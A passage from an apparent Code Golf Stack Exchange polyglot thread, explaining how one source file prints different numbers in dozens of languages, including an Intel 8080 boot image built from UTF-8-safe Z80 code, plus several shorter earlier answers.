1m4qXcrIAPGSufDbW28jDAschaMJzE@8X46aMh0798A9at9FygJsbycYbbomNnTcWz0dgjMeWxS6H7TY0L26JrwZHjQXoSFTmdFqlgKwRBetZ34xAn1HSbV8ce4dLbU4mjpkgpF5sZJk4HK/8u@VRClqgaH7AT1w28WUOmvX@iC5XieQZmeFwAcWs3MEI5xhBkj4zK99cKbVajS0PMhlWqz0BRy7Hak9q7Cl6PHnCnsL7E3x/WCmur5f5yrmn6jV4Pgk8b9gTwEFdEF7k9hReIYzuZ8KhFBbxcr6ynC0vn1d2qmU/X689aeTzHXD97e/99G//8R/na@LlO3x5Qi/1tyGQpmn5ZfN6@eFNGd/rTxvp5WZ9edBId8pYy1Dcv/J8o2fEtolp5t/LZbrBznlTZaDRqpVKmqU/fuSus2Hk9CIn3nwQRTd6g65B0RlhqFbStfTDh@DaqaR/nFbx5A7hb4T@H8CfqSjLab6YWEvTx7WT3YOD@OVC4aWlbdQ0ccLdEIvTbMe3IVPvUsHsea7ONI01cuxdSB4u6D7ngP9ve1fb2zZyhD9bv2JNItFLpEhyco7zYh1y1xZIgfaAa4F@kAJLpimfAFniiXRiIVV/e2eemX0hxcR2kF5zh3xITEnct9nZmWdmZ2fLXTRNjhiVzvxHO2lHh@h7RKmiYQk/RYCRxD1JNNpVfonwIhughN8QDMaFHly8kNA51PGIBB6//1IOpbZkufHwqbsc63baGw@Pv3vbi@MYLSM69yyBmENrmb/fOAmCZRHpJhn1MloyNHaujbs8NlQhEyOOHyTUj4eJ5nFY4UJJHjDyFTbjZpAaw1CXUrmK8MDd32uANvRkGWtY9I6U@TWOWzM22N41cI864K5NNx8MrvSN5KbabXCDYHB7MGc8qV4t7xJ0@svlcbe8rTCpZGKoVijEI@seHHSqY7SfCW7sM9VUr/gxT@3Okp64Xy@3l0u@cROHJvL3JJ2I8m2drOXKZkXkFqTkeTrnjU9Z0TJh/tAegGHKZ2FXCe8ucBLSJWfeFcBn71omBEnrgRGO5uGY85nv1nIlRwXWc3okhc8JEeVOabDhIyR3EobiTTWkiJHyVg50MsKumbzJVKXPPswW7MFB3hqgcbAfcJm1tSQ29JTTsjFH9A3f2hsA2rqSIqwVF7JDqPKKTVB2ihBR@M3HSFhLomFrpsvVtO6uaUQpoklp5kgikUliuWYWuvGK5uTQb9SW0XB629WsUPJm6zxfaKCKThOicOSU8IZqnTQb0phyS3gbdydzKyocn2Wl9Ib4nP1gknOEWqdBKheUXuTgTY48lLi4uBSPiyvZWeSep8UikaNS0vqhlcUZ0oHwt5I35aMNkfEg4aB2gtHCxOgpVI0ExVT7ekAnPpXM6/8XB71noJkNMZL@2qwt2dgxh5udiSeSr9FxAiooE0X7COeUUvCgxJjL9HJRlMp05dC1ni@VUews6XmRTxHxGFC3QlmODbLXYTuRMFV62yBsFrz2NxK0JxJdXc97djCs1SQWy5WUISFxxsk@fzh5ZLsT9ppWMJGPl2@3PENQrqzrFrnwscyJZ1XjZ@GTLaBy7aLIiw5O8qMClRZVmvTGfClwhRokTivLwEvhQan6gIGZuUNNDhlVIa9Ml0CCPeFt@cX2dFdzyf3/st3SVJ5vONUsLT56i/mAdLQPJj@nN1aJRzeuytoV@D61QJ3F7wLnlzbXS0L@EqSuGiW8R9436vpRacoOXWe4B6SU2YRl42Y4l5Widry@9Nty6V5Tcjd8sBkcWgHSydqa2EF/PRBlTtrU1iupGVoD@3Fnc0hoCgYXmW5nR0kO9TqbM3k41p2luZ@cXR1rWBveSnk7ZkUWHBoTVo66kHtI3wvj/WuItIML5/V1sX5TfHlMD98derOYuy9xVz3hghnBYIUIs3Zfn@hxjHuvv5BZwHJgQYJATqrM8pSeGw1BHmphRn/LL39Y37QG3Uk0ibrD4@ftCHayw2FxkpNlFCcpR1Rv2EpI1fYkTawRcu9SEeGb88XFBSEOvXGBimpr7qczrXbMHvIPTtzlPajaCEI8jQJZnvdoEvGF0hrP2WZ2eTXD49/X/9zMtm9ICeHjTyuZz39wfT@TMuKbV/HLz7JGX18Q1Ih2bCd7nrjTEOEynxHySQpAgyKVVAkOLtQQIN0jgLTpxp@XBxuQIRy/@C4ceobepEmdCkLJJTZ8KjkBpzAB@HgC2Wln8h3xppowOfLZySN@EoOgCiD5B3uSJ/hWSgjUX5oRlyml9PMZ1cB4LbQmpbpmSQw6sCbXp4eylpOPU9f7fKqGTZH8cnZ1vSwWOrK9YdlxcaGuEVJc87UkOkzOIsjZ8BanfADqFX5EemWL0dllWKVdMA6ud7ygVeptGQgqTwU1wmwtgf1oyY3xw@3oQYOaKpLB/egp@GOwe/mJuRF0P7KmBidY5yRuwXRgvEzzwNyQjINOzxo36sOS8cH9IKJwNzoZy2QRzbtwjnmGOQU8hImb3N/CZv89G7nyDZPszFPJ2qUaRi0yzNv6OD/cNYMedgtCq5Y4BYXz9ZWNtlRzIjBeg7uhaQXxCfL/t8F6i@VWQn8Bqez5zBC7HJYWWgkc2oNxATkdiIFmDmcBYw3BSIgkIHIyzYAmdI6CpJWs62vEhhgl9Kb0uQqyLWJyI60Rb1TFnvLsOhix91PbojeHgPAq8dSFFaqq3bxi081g9up5DWb7WsaUIWQ3XoF6zFpjhDs2uJVQ6T6hhp9HKOlXHZ3kly9GpjIBylTaNRp17OtEhx4YDde6yxWwJ5dAuEMHhCt11ABd7GsGHatWRxNokf1zC4Y75vUlicUyFpaogZn/TqweMSDzSm4o54iTIzXXm/QFIWJCVw36R5CXpRTOx5U8IARZ@w33EjJBMDVAb@eN0Nxkph@3G7oz25dQotbw2bCNRu7QUqN0b8a94b2IQd6Kme@luWCFAsjRMWeaKuR27Qdd9xG3dGl8tS5pksjeKS3iuZNlfGT3Ni91P7Y3bBmq3rTNZzqo4Ss5Eh3Efp5@3DigLgjS4IAtagylH6mDN09pGJk9MiPuXJ/4Q@xD6@j@mvzflsY5UvI7DnAAYWDRAeMzrlUnWBECQgmxQJsP8iaR2h2Yr23FQzXARZC2xMlWgw9VVdc6hNysQEvn1qcIqB14FWu9ptZDZOLaYqYl53tnS2wdpQk7wp2XKm8H/mB1O/SbNls0d0tSorgqS@IqHM7Dh0b7Bpd1BWPUGvolQkk/SsSYrEQ4V1mXhBB/CcKrSqFl4lBfVut/kBf0Db86H9YDERavHod4D03f0/165ShfTx0U/RR9eECX60oqAdBE7q@zSR59bxr3JWiVnrcwKRx6vx8uvddM3JVVXaL0el4UXfxsKLo41D3bvM/eBtY@ko9fMvoghYzXP6YTplk6EP0LNwX9JwzK93bNCpcujKR9XkjkaNsHeeTF47yA@nrptx/ZjhOdNLu4IHV8zafxtwVVwQfxcVNdQGcplMOkuJ/CtEa6NK@ikExM7krVMtPS3i4zMMwC89fmHwOl5pqw6YCqQ3gRcrbw1tU6kQxgHATIzgHElcKuHYpZxAaRFBzzR02kcjCXfORzXckyAtM502Z1DNofDEIw1g@bWXEniOW35OR0u1lxNli@a6DCh/njBt@5eV9Idhdc1rkzLos78Gl3PDzrxBlhiyefWcdvi9O8g5bqiVzPI16ocODD5CAS0wQtt93Qma9SK9xy@3zY9w2@fK2KofPVw5eOI39SBjEdD2KSWhDjX9BSCTveUM69D/FAy3YFC7mjsEfaW5fbo3Vj21vXtpennGHY@Pe08BrN8tc1zRbv11rCMao2CP9jbUMsa2VNTyNd21PT2l/QMt9eDT/5pob/2Gq472jB1wrcommCqf8293@EuedE9cuTwcng7Ivt@7rvopCxosp@qzHRoRmOvn82ufnTYHLz/OlPv8ZFPDrq/2tDf4v41/j4JJZHeqBPT@ynd/EofsWvHe/ibf/09JQetZbXf6FaRn91dfJb21f03@g7W@/xNh71TlH83/HomB6GR0fUk8nNn59Pbk4G/C96@TXBj3B3xYGPj9WaIXulKoTcXtnlDPd17qv8MdAOb5gFrDledpCy5qdKe@gwB8/cHJ0MFKsQA0mWvXecgXAxL9yZKsWPyPNVIFuhnLiwWfY0Vk8K0QpwTbTpD5qAtlfo5TP72aR@jBJ8p830weNj3rqearI/1wGX3g8wU0K5ybxooWFOZMx/R4PvI5f@70Wk2QGjMOJf9zZVK56oVvwv) ## Explanation Thanks to Potato44 for the idea to add machine code, it was a lot of fun to make this answer. I didn't do CP/M COM file because it restricts the size of polyglot to about 60KB which I want to avoid. Boot image turned out even easier to do than COM because ZEMU loads boot sector from 6th sector by default (1-based, 128 byte logical sectors), so start of polyglot does not need to be executed. The boot code must be at offset 0x280 ((6-1)\*128) in the polyglot. I use [ZEMU](http://www.z80.info/zip/zemu.zip) emulator which is linked from [this page](http://www.z80.info/z80emu.htm#EMU_CPU_W32). To run polyglot in ZEMU: * Disks > A: select polyglot file * Options > Instruction Set I8080 * Press Boot button Function that prints one char to console (`cns$ot`) was copied from BIOS22Dv221.ASM from ZEMU distribution. I made two changes: character is not masked to 7 bit ASCII because we control parameters and `jrz cns$ot` is replaced with `jz cns$ot` because `jrz` (jump relative if zero) is Zilog Z80 instruction not present in Intel 8080. Initial program ([Intel syntax](http://pastraiser.com/cpu/i8080/i8080_opcodes.html), [assembler](http://www.z80.info/zip/as8080.zip) linked from [here](http://www.z80.info/z80sdt.htm#SDT_ASM_W32)): ``` org 3120h ; chosen so that cns$ot == 0x3131, easier to generate ; this program will be generated at this offset ; to run it directly specify org 0100h mvi c,31h ; '1' call cns$ot mvi c,38h ; '8' call cns$ot db 38h ; for answer 188, NOP in I8080 mvi c,33h ; '3' call cns$ot hlt ; halt processor ;;;;;;;;; copied from BIOS22Dv221.ASM cno$sp equ 7dh cno$sb equ 01h cno$si equ 00h cno$dp equ 7ch ; print char to console, receives char in c register cns$ot: in cno$sp ; in status xri cno$si ; adjust polarity ani cno$sb ; mask status bit jz cns$ot ; repeat until ready mov a,c ; get character in a out cno$dp ; out character ret ``` This program contains chars that cannot be used directly in polyglot. Most ASCII control chars (code < 0x20) are prohibited in Simula, non-ASCII chars (code >= 0x80) cannot appear alone because the file must be valid UTF-8. So the above program is generated by another program that is valid UTF-8. The following program generates needed code and jumps to it. `ld (hl),a` cannot be used because of Grass (`'w'==0x77`). `sub h` (0x94) and `xor a` (0xAF) are UTF-8 continuation bytes, they must be prepended with UTF-8 lead byte. Instruction `ret nc` (=0xD0, return if not carry) is used as UTF-8 lead byte. To make it do nothing it is preceded with `scf` instruction (set carry flag). Also avoided `','` (0x2C) and `'.'` (0x2E) for DOBELA. `org 0100h` directive is not used because used assembler does not understand it (org is set in the GUI). This program is position independent anyway. I like Zilog mnemonics more, so I used them for longer program. [Zilog syntax](http://clrhome.org/table/), [assembler](http://retrospec.sgn.net/game.php?link=z80asm) linked from [here](http://www.z80.info/z80sdt.htm#SDT_ASM_W32): ``` ; generate: 0E 31 CD 31 31 0E 38 CD 31 31 38 0E 33 CD 31 31 76 DB 7D EE 00 E6 01 CA 31 31 79 D3 7C C9 ld hl,3120h ld a,3Fh scf ; set carry flag so that ret nc does nothing ret nc ; utf8 lead byte for next insn sub h ; a -= h; a = 0Eh; utf8 cont byte (opcode 0x94) ld c,a ld (hl),c ; 0Eh ; not using ld (hl),a because it is 'w' inc hl ld (hl),h ; 31h inc hl ld a,32h cpl ; a = ~a; a = 0xCD ld d,a ld (hl),d ; CDh inc hl ld (hl),h ; 31h inc hl ld (hl),h ; 31h inc hl ld (hl),c ; 0Eh inc hl ld (hl),38h ; 38h inc hl ld (hl),d ; CDh inc hl ld (hl),h ; 31h inc hl ld (hl),h ; 31h inc hl ld (hl),38h ; 38h inc hl ld (hl),c ; 0Eh inc hl ld (hl),33h ; 33h inc hl ld (hl),d ; CDh inc hl ld (hl),h ; 31h inc hl ld (hl),h ; 31h inc hl ld (hl),76h ; 76h inc hl ld a,23h ; not using ld a,24h because it has '$' (breaks SNUSP) inc a cpl ; a = ~a; a = 0xDB ld d,a ld (hl),d ; DBh inc hl ld (hl),7Dh ; 7Dh inc hl ld a,c ; a = 0Eh cpl ; a = F1h dec a dec a dec a ; a = EEh ld d,a ld (hl),d ; EEh inc hl scf ret nc xor a ; a ^= a; a = 0; utf8 cont byte ld c,a ld (hl),c ; 00h inc hl ld a,4Ah scf ret nc sub h ; a -= h; a = 0x19; utf8 cont byte cpl ; a = ~a; a = 0xE6 ld d,a ld (hl),d ; E6h inc hl ld a,c inc a ld d,a ld (hl),d ; 01h inc hl ld a,35h cpl ; a = 0xCA ld d,a ld (hl),d ; CAh inc hl ld (hl),h ; 31h inc hl ld (hl),h ; 31h inc hl ld (hl),79h ; 79h inc hl ld a,2Dh ; not using ld a,2Ch because it has ',' dec a cpl ; a = 0xD3 ld d,a ld (hl),d ; D3h inc hl ld (hl),7Ch ; 7Ch inc hl ld a,36h cpl ; a = 0xC9 ld d,a ld (hl),d ; C9h ld sp,3232h ; set up stack for generated program ld hl,3120h ; not using ld l,20h because it has '.' jp (hl) ; go to generated program ; confusing mnemonic - actually it is jp hl, ie. PC = HL ; opcode 0xE9, utf8 lead byte (0xE9 = 0b11101001), must be followed by 2 cont bytes db 80h,80h ``` This program is assembled into: ``` ! 1>?7ДOq#t#>2/Wr#t#t#q#68#r#t#t#68#q#63#r#t#t#6v#>#</Wr#6}#y/===Wr#7ЯOq#>J7Д/Wr#y<Wr#>5/Wr#t#t#6y#>-=/Wr#6|#>6/Wr122! 1退 ``` It must be at offset 0x280 in the polyglot (see line 2). Abstraction test in the test driver checks that. ## Refactorings ### Shells Moved shells back to longest line. I like this layout more because parens don't get aligned with other langs. Moved Moorhenses and Flaks before shells, so they don't break when shells are changed. Longest line has this layout now: ``` Grass Moorhenses Flaks Shells Rubies/Pythons/Perl5 PicoLisp Prelude Klein001 ``` New shells code: ``` a=$(printf \\x00) b=$(echo -n $a | wc -c) case $b[1] in 1*)echo 54;; 4*)echo 78;; 8*)echo 166;; *1*)echo 50;; *)echo 58;; esac exit ``` Old shells code: ``` a=$(printf \\x00) b=${#a} case "{"$ar[1]"}"${b} in *1)echo 54;; *4)echo $((19629227668178112600/ 118248359446856100));; *1*)echo 50;; *)echo 58;; esac exit ``` Length of `$a` is calculated by `$(echo -n $a | wc -c)` now (from [here](https://stackoverflow.com/a/46592387)). Initially I used this to get rid of `#`, but now it is used because of shorter code. Shells can contain `#` because Flaks are before shells. [Yash](https://www.mankier.com/1/yash) (166) uses built-in echo command which does not support options by default, so "-n " and linefeed end up being part of the output, which gives additional 4 bytes. When not set `ECHO_STYLE` defaults to `SYSV` (`-n` option is not accepted). [This TIO link](https://tio.run/##Zc3dCoIwAIbh813Fh3iQgjDBP5K6kexgmwtFUUkhle59zaUJebZ3e8bHWV8oJdiAK7q2nogURQuvgRVSgOvXMwArNcd/EQDzFyxiPoIEqHZQHUCsQb5v5McNP4ow7WLahFLsYp@6Z9kMD2TZSKlDuL7ZPtoMb7wEPOEQwXoJm9/8O8oG8F3HqDBIUyBYK06WStbSs0u6P0tNrmGo7JkgciyHDw) tests code in all shells. Additional `(((((` before shells fix Underload and Retina. One more pair of parens is added to hide `58` from Prelude (closed with `#)` after `exit`). `{` before `((((((` is for Japt, without it Japt hangs. ### Flaks Due to relocation of Flaks starting code can be simplified – only `([])` is left: ``` line 21 (Grass(([5]{}))) scripting langs clear stack Flaks main code begin skip code the rest of polyglot end skip code print(85) old: []{}[][][] ((([]{}))) ((()()<<()>>)((()([])))<<()>>) {}{}{}{}{}{}{} ({}<(((((()()())){}{})){}{})>)(({})){}{(<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>) (<><()>){({}[()])}{ ... }{}<> () new: []{}[][][] ([] ) ({}<(((((()()())){}{})){}{})>)(({})){}{(<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>) (<><()>){({}[()])}{ ... }{}<> () ``` [This TIO link](https://tio.run/##lY/LCoMwEEX3/YrBVbKwgmARK1m00F2/QKTEoChNVXwsJOTb08RIH3ZjZ2C4M8w9k2S0L5VidAACbcOnXc7KBtwaHD@EU0er2r1weo/gHc4RujGbwGvawcvmlUKvWHkzct9lK1gQfMDgzGnfVyzaDHM5sxbt@AaH/gs85mMe/flKlxezD37BB7hWdVWsPr8d/FjcFqwUSlIMgISM0RzYJMZCCrlUghFaGhTrNAPdG4uQxMh5SWiVIJxiKe1MV4RjCyT6BjwB) tests code in all Flaks. ### Fission & Cardinal Fission was moved into LNUSP: `R"12"R _*`. Second pointer is used to terminate Fission as soon as possible – on 3rd step, see [answer 54](https://codegolf.stackexchange.com/a/117635) for more info. Cardinal was moved into LNUSP: `@ %"18"`. As in Fission, second pointer is used to terminate Cardinal as soon as possible – on 3rd step. ### MarioLANG Use `####...` instead of `====...` as a platform: [![enter image description here](https://i.stack.imgur.com/MZZlO.png)](https://i.stack.imgur.com/MZZlO.png) ### Minimal-2D Polyglot with MarioLANG: [![enter image description here](https://i.stack.imgur.com/oomQY.png)](https://i.stack.imgur.com/oomQY.png) ### Wierd & 1L\_a Wierd: use space at line 10 column 79 to reflect IP. 1L\_a, Wierd: space at line 9 column 79 is important. [![enter image description here](https://i.stack.imgur.com/ViZkx.png)](https://i.stack.imgur.com/ViZkx.png) ### Cubically New code: `:1*23!/5x%6E0` ``` :1*23!/5x%6E0 ! - skip over / in Klein 201 x - destroy Cardinal pointer before it hits / pure: :1*23/5%6E0 faceval: 0 0 1 9 2 18 3 27 4 36 5 45 program: :1 mem = 9 *23 mem *= 18; mem *= 27 /5 mem /= 45 %6 print mem E0 exit 9*18*27/45 == 97 (integer division) 6 in %6 is used to print mem because 0-5 are used to print faceval (eg. %3 prints 27) 0 in E0 is not an exit code, it is present just to trigger E instruction ``` ### Klein 201/100 New code: `!|*****[[[828+*+@+*99]]]*****|!` After all the multiplications stack contains a single zero because popping from empty stack gives zero. This zero is added to the main number with `+` next to `@`. Previously it was discarded with `?`, see [Klein 001 answer](https://codegolf.stackexchange.com/a/127812). How doors work in Klein: [![enter image description here](https://i.stack.imgur.com/IgyAh.gif)](https://i.stack.imgur.com/IgyAh.gif) ### Whirl [Whirl](http://bigzaphod.github.io/Whirl/) code is basically the same, the only change is that main code assumes that current operation is ops.one (2), not ops.load (4). Effectively Whirl can be thought of as having 3 operations: * `1` rotate one step * `0` switch rotation direction * `00` execute current instruction and switch ring Combined operations to simplify reasoning about program: * `0000` if current op of inactive ring is noop then just execute current op of active ring without any side effects * `11..11` rotate n steps * `011..11` switch direction and rotate n steps `0000` executes current instruction of active ring, but also executes current instruction of inactive ring as a side effect. If current instruction of inactive ring is harmless then we can just focus on operations on active ring without thinking what is happening with inactive ring. This is especially useful with this program because it has clear separation: first the number 32 is created using only math ring and then we switch to ops ring and execute 2 instructions there (print and exit). First I wanted to have current operation on ops ring to be noop when main code starts executing. It has 2 advantages: 1) main Whirl code can be executed standalone and 2) we can completely forget about ops ring when creating number 32 with math ring. However, it makes code longer than it was, so instead main code assumes that current operation is ops.one (2). It means that ops.value is set to 1 as a side effect of math operations, which then is used for printing. Old code achieved the same effect with ops.load instruction, but using ops.one more clearly expresses the intention – to set ops.value to nonzero. ``` at this point current ring is ops, dir = clockwise, cur op = ops.one 00 switch to math ring 011 rotate to math.not 0000 math.not (math.val = 1) 01111 rotate to math.store 0000 math.store (mem[0] = 1) 1 rotate to math.add 0000 math.add (math.val = 2) 01 rotate to math.store 0000 math.store (mem[0] = 2) 011 rotate to math.mult 0000 math.mult (math.val = 4) 0000 math.mult (math.val = 8) 0000 math.mult (math.val = 16) 0000 math.mult (math.val = 32) 011 rotate to math.store 00 math.store (mem[0] = 32), switch to ops ring up to this point the program is the same as before 01111 rotate to ops.intio 0000 ops.intio - print mem[0] as number 0111 rotate to ops.exit 00 ops.exit ``` New code is shorter because old code has a couple of redundant direction switches in second part of the program, not because of new assumption. ``` old: (1111) 00011000001111000010000010000011000000000000000001100 01111110000011100 new: (11) 00011000001111000010000010000011000000000000000001100 011110000011100 ``` **How to keep Whirl correct when changing something before Incident/Whirl line:** * ensure there are even number of `0`s before main Whirl code * ensure there are no two consecutive `0`s * add/remove enough `1`s until Whirl works again; adding n `1`s is equivalent to removing 12-n `1`s and vice versa I unknowingly broke first rule when added Ropy. When there are odd number of `0`s main code starts executing with incorrect direction of ops ring which breaks exit instruction. So now there is `0` on line 3 which compensates `0` on line 1. ### Others **CoffeeScript**: `console.log a&&39||180` (from [here](https://stackoverflow.com/a/15662713)) **INTERCAL**: moved to line 37 **Brainfuck**, **Agony**: moved to other brainfuck derivatives on line 10 **xEec**: moved into 1L\_a (`h#115# o#`) **CSL**: moved to line 80 **Trefunge**: moved to line 120 **Gaot++**, **Stones**: placed on separate lines [Answer] # 15. Haystack (141 bytes) ``` #v;2^0;7||"<+0+0+0+<*!2'!1'L#'1r'4;n4 #v0#_q@ #>3N.15o|1 #|\w* #8 ^1b0< #| #M` print ((0 and'13')or(None and 9 or 1/2 and 1 or 5)) #jd5ki2 ``` Note: there is an `ESC` after `o` in the third line and after `j` in the last line This prints **1** in Python **3**, **2** in Vim, **3** in Minkolang, **4** in <><, **5** in Python **2**, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl, **10** in Befunge, **11** in Befunge-**98**, **12** in Fission, **13** in Ruby, **14** in turtlèd, and **15** in Haystack. [Try it online!](https://tio.run/nexus/haystack#HcdBDoIwEADA@36By@IeWjDRbqFRU2J8gPICA2rwgCatNgYv/TsKmdOMNFjdKLuJcVEt1azKUy1SFkcSHERpXQk0KGrfB6B9Ua/Y@CQyUDx/c6AtYsM3Vf0PdLrAK/Tug1IqvLpOcCEyH2Tt3X067tAH5LWew1NMlgE9ks48ez2OPw "Haystack – TIO Nexus") ### Explanation ``` #v go down v > go right 3N. does nothing important 15o| outputs 15 and ends program there is an <ESC> after 'o' since 'o' in Vim enters insert mode 1 I added this to satisfy Retina ``` [Answer] # 9. Perl, 84 bytes ``` #v;7||"<+0+0+0+<;n4 #>3N. #|\w* #8 #| #M` print(None and 9or 1/2and 1or 5) #j␛d5ki2 ``` There's a literal ESC character in the actual code between the `j` and `d`; it has been replaced with a ␛ here for visibility. This prints [**1** in Python 3](https://tio.run/nexus/python3#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), **2** in Vim (tested locally, but [here's](https://tio.run/nexus/v#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A) a link for the very similar language V), [**3** in Minkolang](https://tio.run/nexus/minkolang#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**4** in <><](https://tio.run/nexus/fish#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**5** in Python 2](https://tio.run/nexus/python2#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**6** in SMBF](https://tio.run/nexus/smbf#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), [**7** in Japt](http://ethproductions.github.io/japt/?v=master&code=I3Y7N3x8IjwrMCswKzArPDtuNAojPjNOLgojfFx3KgojOAojfAoKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiMbamQ1a2ky&input=), [**8** in Retina](https://tio.run/nexus/retina#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A), and [**9** in Perl](https://tio.run/nexus/perl#@69cZm1eU6Nko20AhjbWeSZcynbGfnpcyjUx5VpcyhZABheXsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKUtnpZhmZxr9/w8A). Let's get some more exoteric languages in, via abusing arithmetic that works differently in different languages. (`None` is falsey in Python but truthy in Perl, and `and`/`or` chains work the same way in both languages.) Apart from Python, I also had to change the vim code. Instead of making it into a series of no-ops, I just let it insert junk, then deleted the junk again at the end. [Answer] # 6. [SMBF](https://esolangs.org/wiki/Self-modifying_Brainfuck), 45 bytes ``` #v<++++<;n4 #>3N. print('1'if 1/2else'5') #i2 ``` [**Try it online**](http://smbf.tryitonline.net/#code=I3Y8KysrKzw7bjQKIz4zTi4KcHJpbnQoJzEnaWYgMS8yZWxzZSc1JykKI2ky&input=) This program prints **1** in Python 3, **2** in V, **3** in Minkolang v0.15, **4** in ><>, **5** in Python 2, and **6** in SMBF. SMBF (aka Self-modifying Brainfuck) uses `<++++<>.`. The pointer is moved left (to the last character of the source code), and the cell is incremented four times then printed. [Answer] # 13. Ruby (129 bytes) ``` #v;2^0;7||"<+0+0+0+<*!2'!1'L;n4 #v0#_q@ #>3N. #|\w* #8 ^1b0< #| #M` print ((0 and'13')or(None and 9 or 1/2 and 1 or 5)) #jd5ki2 ``` Please note the literal `Esc` character on the last line between the `j` and `d`, as per [ais523](https://codegolf.stackexchange.com/users/62131/ais523)'s Perl answer. [Try it online!](https://tio.run/#M2DmR) This prints **1** in Python 3, **2** in Vim, **3** in Minkolang, **4** in <><, **5** in Python 2, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl, **10** in Befunge, **11** in Befunge-98, **12** in Fission and **13** in Ruby. Just a minor modification to the existing `print` statement to abuse the fact that `0` is truthy in Ruby. I had to add some spaces to the other statements to make it parse correctly. [Answer] # 16. Pyth (159 bytes) ``` #v\;2^0\;7||"<+0+0+0+<*!2'!1'L#'1r'4;n4 #v0#_q@ #>3N.15o|1 #|\w* #8 ^<1b0 < #| #M` print ((0 and'13')or(None and 9 or 1/2 and 1 or 5)) #"07|5//00;16 "jd5ki2 ``` **Note:** there is an `ESC` byte (`0x1B`) after the `o` in the third line and after the `j` in the last line. This was quite a fun experience. Japt and Pyth are both golfy languages, but Japt is infix and Pyth is prefix, and Pyth auto-requests input and fails if arguments are missing. Before the Haystack answer I had an almost-working solution using `#`, which gets a char code in Japt and loop-until-error in Pyth. Pyth happens to be very useful in polyglots, since the common comment char `#` essentially works as an error silencer. When I got home I managed to find a this piece of code that worked in both using `//`, which works as a comment in Japt and two divisions in Pyth. Then it was just a matter of getting the Befunges to route correctly. This is very unlikely to be optimal, but it's good enough for now. I tried to test them all, but I'd highly appreciate someone double checking that the outputs match. Prints [1 in Python 3](https://tio.run/nexus/python3#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [2 in V](https://tio.run/nexus/v#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [3 in Minkolang](https://tio.run/nexus/minkolang#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [4 in ><>](https://tio.run/nexus/fish#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [5 in Python 2](https://tio.run/nexus/python2#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [6 in Self-Modifying Brainfuck](https://tio.run/nexus/smbf#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [7 in 